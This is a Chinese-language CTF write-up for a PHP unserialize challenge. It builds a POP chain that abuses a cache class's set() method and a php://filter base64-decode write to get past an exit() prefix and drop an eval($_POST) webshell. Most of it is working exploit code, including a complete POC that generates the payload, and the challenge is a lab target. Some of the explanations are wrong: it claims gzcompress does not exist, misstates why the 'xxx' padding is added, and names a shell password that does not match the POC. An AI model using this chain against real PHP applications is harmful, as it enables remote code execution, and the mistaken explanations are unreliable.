题目源码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
分析
public function __destruct() {
if (!$this->autosave) { //入口,设置autosave=false; !假=真
$this->save(); //进入save();
}
}
public function save() {
$contents = $this->getForStorage(); //进入getForStorage()方法
$this->store->set($this->key, $contents, $this->expire);
//设置store为B类,进入new B()的set方法,将key,contents,expire传过去
}
先看A类的getForStorage()方法
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
//进入cleanContents()方法,cache肯定是为array数组,不然传不了值
return json_encode([$cleaned, $this->complete]);
//将$complete传入数值后会进行json加密并返回到cleanContents()的数组里
//这里是要传入一句话木马的,可以在本地测试,自己一测就发现完全无大碍照样传马,网上说是base64解码的特性
}
<?php
//测试
$contents = array();
$complete= base64_encode('<?php @eval($_POST["a"]);?>');
echo base64_decode(json_encode([$contents,$complete]));
//输出<?php @eval($_POST["a"]);?>
public function cleanContents(array $contents) { //传进来的$cache数组替换为$contents
$cachedProperties = array_flip([ //乱七八糟的
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) { //覆盖变量
if (is_array($object)) { //判断contents传进来的否为数组
$contents[$path] = array_intersect_key($object, $cachedProperties);
//网上:array_intersect_key方法取两个数组的交集
}
}
return $contents; //返回你的base64编码的马儿
}
返回到哪?首先把上面的整理一下
A类的POC
A::__destruct->save()->getForStorage()->cleanStorage()
public function __construct() {
$this->autosave=false; //__destruct !0=1
$this->store = new B(); //save() 进入B类
$this->key ='shell.php';//save() 传过去对应的$name
$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["xg"]);?>'));
//save() 传过去对应的$value,这里为什么前面要加'xxx',在后面B类的时候会说,注意这里编码了两次base64
$this->expire; //save() 这个随便传不传值,传过去也是对应着null
$this->cache=array(); //getForStorage() 必须是数组
}
把$key传入了B类的set()方法的$name->最终传入了B类的set()方法的$filename
把$contents返回到了save()的$value->最终传入了B类的set()方法的$data
接着看进入B类的set()方法
肯定是先看最终到了哪里?
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
这个之前发过类似的博客绕过死亡exit()
WMCTF2020 web之web_checkin完整题解_小古yyds的博客-CSDN博客
<?php exit();?> .$data; //用php伪协议就可以绕过了
那就让$filename 为php伪协议,传入shell.php
php://filter/write=convert.base64-decode/resource=shell.php
这样就可以把我们传进去的$data进行解码了,上面做了演示用base64加密后再解密的一句话马儿可以忽略json_encode输出我们想要的值,这里就不能用上次的UCS-2编码和str_rot13编码方式了,因为有json_encode会乱码,学会本地测试活学活用!
好了,继续进入set()方法看看会调用哪些函数
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
一行行详细分析
if (is_null($expire)) { //判断A类传进来的$expire是不是null
$expire = $this->options['expire'];
//options['expire']可控 但没什么用
//因为最后到$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
//这个$expire管它是什么,不妨碍我们构造$data马儿
}
$expire = $this->getExpireTime($expire); //$expire 无意义
$filename = $this->getCacheKey($name); //分析一下getCacheKey()方法
getCacheKey(string $name)方法中的options['prefix']可控
public function getCacheKey(string $name): string { //$name='shell.php'
return $this->options['prefix'] . $name;
//这里就可以构造php://filter/write=convert.base64-decode/resource= 跟后面的$name拼接在一起
}
继续往下分析
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
这个就是判断当前目录有没有uploads这个文件夹,没有就创建,并且给0755权限,继续往下
$data = $this->serialize($value); //分析一下serialize()方法
首先是将$value转为string($data)
serialize()方法的options['serialize']可控,想到前面传进来的马儿是base64编码两次的,需要解码一次,才能用php伪协议再解码一次
设置options['serialize'] = 'base64_decode' 就可以base64解码$data
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize']; //options['serialize']='base64_decode'
return $serialize($data);
}
继续往下看,又找到可控的options['data_compress'],将值设置为false,因为 假&&假 == 真
gzcompress这个方法压根不存在,options['data_compress']=false
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//options['data_compress'] = false
$data = gzcompress($data, 3);
//这里会提取前三个字符串进行压缩,也就是A类为什么要前面多加上’xxx’的原因,为了不干扰我们构造的base64编码后的马儿
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); //写入马儿成功
B类的POC
B::set()->getExpireTime()、getCacheKey()、serialize()->file_put_contents写马
function __construct(){
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
慢慢看,你会头脑清晰的
最终的POC(A类和B类合在一起)
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct() {
$this->autosave=false;
$this->store = new B();
$this->key ='shell.php';
$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["a"]);?>'));
$this->expire;
$this->cache=array();
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
function __construct(){
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
echo urlencode(serialize(new A()));
传入data参数
访问http://32cf236f-3c8f-4126-bbeb-1e4bfcf18707.node4.buuoj.cn:81/shell.php 密码xg
flag{97e93c41-12df-4f12-9151-4511e4b14b65}